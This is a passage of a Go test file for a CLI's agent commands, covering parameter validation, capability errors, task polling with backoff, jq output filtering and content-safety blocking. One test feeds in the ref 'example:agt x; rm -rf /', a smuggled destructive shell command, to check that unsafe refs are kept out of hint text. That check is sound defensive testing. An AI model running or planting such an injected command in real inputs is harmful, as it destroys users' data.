if err != nil || m["foo"] != "1" {
|
||||
t.Fatalf("a declared optional param should pass: %v %v", m, err)
|
||||
}
|
||||
|
||||
_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:bar" {
|
||||
t.Fatalf("param should be param:bar, got %+v", verr)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
|
||||
func TestParseParams_NilCard(t *testing.T) {
|
||||
m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
|
||||
if err != nil || m["k"] != "v" {
|
||||
t.Fatalf("nil card should parse normally: %v %v", m, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_MissingRequiredIsValidation confirms the missing-required
|
||||
// error is a validation typed error with subtype invalid_argument, its param
|
||||
// carries the param: prefix, and its hint points at agent card (Task 2 review
|
||||
// leftover).
|
||||
func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:app_id" {
|
||||
t.Fatalf("param should be param:app_id, got %+v", verr)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
|
||||
// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
|
||||
// echoed into the hint command; the hint degrades to plain guidance instead.
|
||||
func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
|
||||
dirtyRef := "example:agt x; rm -rf /"
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
|
||||
_, err := parseAndValidateParams([]string{}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
|
||||
// the unknown-param path is handled the same way.
|
||||
_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared param should error")
|
||||
}
|
||||
p, _ = errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
|
||||
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
|
||||
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
|
||||
err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, "example:agt x") {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError pins the unsupported_capability contract.
|
||||
func TestCapabilityError(t *testing.T) {
|
||||
err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
|
||||
if err == nil {
|
||||
t.Fatal("should return an error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
|
||||
func TestSemanticExitError(t *testing.T) {
|
||||
cases := []struct {
|
||||
state iagent.TaskState
|
||||
wantExit int
|
||||
}{
|
||||
{iagent.StateCompleted, output.ExitOK},
|
||||
{iagent.StateFailed, 1},
|
||||
{iagent.StateRejected, 1},
|
||||
{iagent.StateCanceled, 1},
|
||||
{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
|
||||
{iagent.StateWorking, output.ExitOK},
|
||||
}
|
||||
for _, c := range cases {
|
||||
task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
|
||||
err := semanticExitError(task)
|
||||
if got := output.ExitCodeOf(err); got != c.wantExit {
|
||||
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
|
||||
}
|
||||
}
|
||||
// nil task should not panic and is treated as success
|
||||
if err := semanticExitError(nil); err != nil {
|
||||
t.Errorf("nil task should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// fakePollProvider drives pollToStop through a scripted state sequence. getTask
|
||||
// is the closure pollToStop takes (spec.GetTask bound to a runtime in
|
||||
// production); calls/err stay observable on the struct after the poll.
|
||||
type fakePollProvider struct {
|
||||
states []iagent.TaskState
|
||||
calls int
|
||||
err error
|
||||
}
|
||||
|
||||
func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
if f.err != nil {
|
||||
return nil, f.err
|
||||
}
|
||||
i := f.calls
|
||||
if i >= len(f.states) {
|
||||
i = len(f.states) - 1
|
||||
}
|
||||
f.calls++
|
||||
s := f.states[i]
|
||||
return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
|
||||
}
|
||||
|
||||
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
|
||||
func TestPollToStop_ReachesTerminal(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
if p.calls < 3 {
|
||||
t.Fatalf("should poll at least 3 times, got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
|
||||
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task.State != iagent.StateInputRequired {
|
||||
t.Fatalf("should stop at input_required, got %s", task.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
|
||||
// current task with a nil error (exit 0), not a failure.
|
||||
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // expire immediately
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
|
||||
task, err := pollToStop(ctx, p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("timeout should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("timeout should return the current task, got %+v", task)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_GetTaskError surfaces a provider error.
|
||||
func TestPollToStop_GetTaskError(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
|
||||
if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
|
||||
t.Fatal("a GetTask error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// swapSleep replaces the package sleep with a no-op for fast tests.
|
||||
func swapSleep() func() {
|
||||
orig := sleep
|
||||
sleep = func(context.Context, time.Duration) bool { return true }
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepCapture replaces the package sleep with a no-op that records every
|
||||
// backoff duration it was asked to wait, so tests can assert the exponential /
|
||||
// clamp schedule. It always returns true (full duration elapsed).
|
||||
func swapSleepCapture(delays *[]time.Duration) func() {
|
||||
orig := sleep
|
||||
sleep = func(_ context.Context, d time.Duration) bool {
|
||||
*delays = append(*delays, d)
|
||||
return true
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
|
||||
// (as if ctx were canceled during backoff) on the falseCall-th invocation
|
||||
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
|
||||
// branch in isolation without racing a real ctx timeout.
|
||||
func swapSleepFalseAt(falseCall int) func() {
|
||||
orig := sleep
|
||||
n := 0
|
||||
sleep = func(context.Context, time.Duration) bool {
|
||||
n++
|
||||
return n != falseCall
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
|
||||
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
|
||||
// captured schedule must never exceed maxDelay and must actually reach it.
|
||||
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
|
||||
var delays []time.Duration
|
||||
restore := swapSleepCapture(&delays)
|
||||
defer restore()
|
||||
|
||||
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
|
||||
p := &fakePollProvider{states: []iagent.TaskState{
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
|
||||
}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
|
||||
if len(delays) != len(want) {
|
||||
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
|
||||
}
|
||||
for i, d := range delays {
|
||||
if d > 5*time.Second {
|
||||
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
|
||||
}
|
||||
if d != want[i] {
|
||||
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
|
||||
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
|
||||
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
|
||||
// most recent task with a nil error (not a failure).
|
||||
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
|
||||
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("should return the working task observed before interruption, got %+v", task)
|
||||
}
|
||||
if p.calls != 1 {
|
||||
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
|
||||
// returns its value; a command without the flag returns "".
|
||||
func TestJqExpr(t *testing.T) {
|
||||
withFlag := &cobra.Command{Use: "get"}
|
||||
withFlag.Flags().String("jq", "", "")
|
||||
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := jqExpr(withFlag); got != ".state" {
|
||||
t.Errorf("with a --jq flag it should return its value, got %q", got)
|
||||
}
|
||||
|
||||
noFlag := &cobra.Command{Use: "list"}
|
||||
if got := jqExpr(noFlag); got != "" {
|
||||
t.Errorf("without a --jq flag it should return empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning to engage) and optionally
|
||||
// registers a --jq flag with the given value.
|
||||
func newEmitCmd(name, jq string) *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
agentGroup := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: name}
|
||||
root.AddCommand(agentGroup)
|
||||
agentGroup.AddCommand(leaf)
|
||||
if jq != "" {
|
||||
leaf.Flags().String("jq", "", "")
|
||||
_ = leaf.Flags().Set("jq", jq)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// emitFactory returns a Factory writing to fresh out/err buffers.
|
||||
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
|
||||
ResolvedIdentity: core.AsBot,
|
||||
}
|
||||
return f, out, errOut
|
||||
}
|
||||
|
||||
// csProvider is a content-safety provider stub returning a fixed alert.
|
||||
type csProvider struct{ alert *extcs.Alert }
|
||||
|
||||
func (p *csProvider) Name() string { return "test" }
|
||||
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
|
||||
return p.alert, nil
|
||||
}
|
||||
|
||||
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
|
||||
// lands on stdout with ok=true and the identity.
|
||||
func TestEmitTask_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
|
||||
if err := emitTask(f, cmd, task, next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
|
||||
t.Errorf("meta.next should appear in the output: %s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
|
||||
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
|
||||
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
|
||||
// inputs the branch can receive.
|
||||
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
next []output.NextAction
|
||||
}{
|
||||
{"nil next", nil},
|
||||
{"empty non-nil next", []output.NextAction{}},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.Meta != nil {
|
||||
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
|
||||
}
|
||||
if strings.Contains(out.String(), `"meta"`) {
|
||||
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
|
||||
func TestEmitTask_JqFilter(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("jq filtering should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq .data.state should output working, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
|
||||
func TestEmitTask_JqFilterError(t *testing.T) {
|
||||
f, _, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
|
||||
t.Fatal("a malformed jq expression should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
|
||||
// without blocking output.
|
||||
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
|
||||
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
|
||||
// still filters stdout.
|
||||
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, errOut := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn+jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq output should be working, got %q", got)
|
||||
}
|
||||
if !strings.Contains(errOut.String(), "content safety alert") {
|
||||
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
|
||||
// to stdout.
|
||||
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
err := emitTask(f, cmd, task, nil, "json")
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
|
||||
// which exercise the json path only.
|
||||
func noPretty(io.Writer) {}
|
||||
|
||||
// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
|
||||
// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
|
||||
// lands on stdout.
|
||||
func TestScanAndEmitData_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
|
||||
|
||||
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 1 {
|
||||
t.Errorf("meta.count should be 1, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
|
||||
// emit helper now runs content-safety scanning (these payloads carry untrusted
|
||||
// agent text): in block mode it returns the typed block error and writes
|
||||
// nothing.
|
||||
func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
|
||||
|
||||
err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
|
||||
// attached to the envelope without blocking output.
|
||||
func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
|
||||
|
||||
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
|
||||
// summaries carry untrusted agent text, so a block-mode content-safety hit
|
||||
// aborts the emit with the typed block error and writes nothing (task list used
|
||||
// to PrintJson directly and bypass scanning).
|
||||
func TestTaskListContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
opts, _ := taskTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listTasks: func(string) ([]iagent.TaskSummary, error) {
|
||||
return []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"}}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
err := agentTaskListRun(opts)
|
||||
if err == nil || !errs.IsContentSafety(err) {
|
||||
t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
|
||||
}
|
||||
if len(out.Bytes()) > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
|
||||
// active_task.Summary is untrusted agent text.
|
||||
func TestContextGetContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{
|
||||
ContextID: ctxID, TaskCount: 1,
|
||||
ActiveTask: &iagent.TaskSummary{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
err := agentContextGetRun(opts)
|
||||
if err == nil || !errs.IsContentSafety(err) {
|
||||
t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
|
||||
}
|
||||
if len(out.Bytes()) > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
|
||||
}
|
||||
}
|
||||
|
||||
// resolveCmd builds an `agent card` command carrying an `--as` flag. When
|
||||
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
|
||||
// the passed identity verbatim (needed to exercise the identity-check branch).
|
||||
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "card"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if asChanged {
|
||||
if err := leaf.Flags().Set("as", asVal); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// TestResolveSpec_Success resolves a valid example ref under an explicit bot
|
||||
// identity and returns a non-nil spec offline (no client).
|
||||
func TestResolveSpec_Success(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("a valid ref + bot should succeed: %v", err)
|
||||
}
|
||||
if spec == nil || spec.Send == nil {
|
||||
